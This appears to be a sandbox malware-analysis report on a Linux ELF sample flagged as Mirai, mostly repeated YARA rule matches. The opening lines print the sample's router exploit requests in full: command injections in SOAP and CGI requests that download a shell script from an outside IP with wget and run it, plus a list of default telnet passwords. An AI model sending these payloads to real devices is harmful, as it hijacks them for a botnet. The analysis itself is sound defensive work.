Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.69.121 -l /tmp/huawei -r /Cached/bld.sh; sh /tmp/huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox DNXXXFF
Source: Initial sample	String containing 'busybox' found: 0123456789ABCDEFOpenTelnet:OpenOncerandNum:2wj9fsa2verify:OKOpen:OKoginenterrootasswordshshell/bin/busybox DNXXXFFncorrect: applet not foundxc3511xmhdipcklv123123456jvbzdhi3518tsgoingonB

Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://94.156.69.121/Cached/bld.sh;sh+/tmp/bld.sh
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://94.156.69.121/Cached/bld.sh;${IFS}sh${IFS}/var/tmp/bld.sh
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://94.156.69.121/Cached/bld.sh;sh+/tmp/bld.sh HTTP/1.1
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://94.156.69.121/Cached/bld.sh;sh${IFS}/tmp/bld.sh&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+;wget+http://94.156.69.121/Cached/bld.sh;sh+/tmp/bld.shGET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS};${IFS}wget${IFS}http://94.156.69.121/Cached/bld.sh;${IFS}sh${IFS}/var/tmp/bld.shPOST /soap.cgi?service=WANIPConn1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: 7ALXuklmvu.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7ALXuklmvu.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7ALXuklmvu.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7055.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7055.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7055.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6261.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6261.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6261.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7315.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7315.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7315.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6813.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6813.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6813.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6785.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6785.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6785.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7398.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7398.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
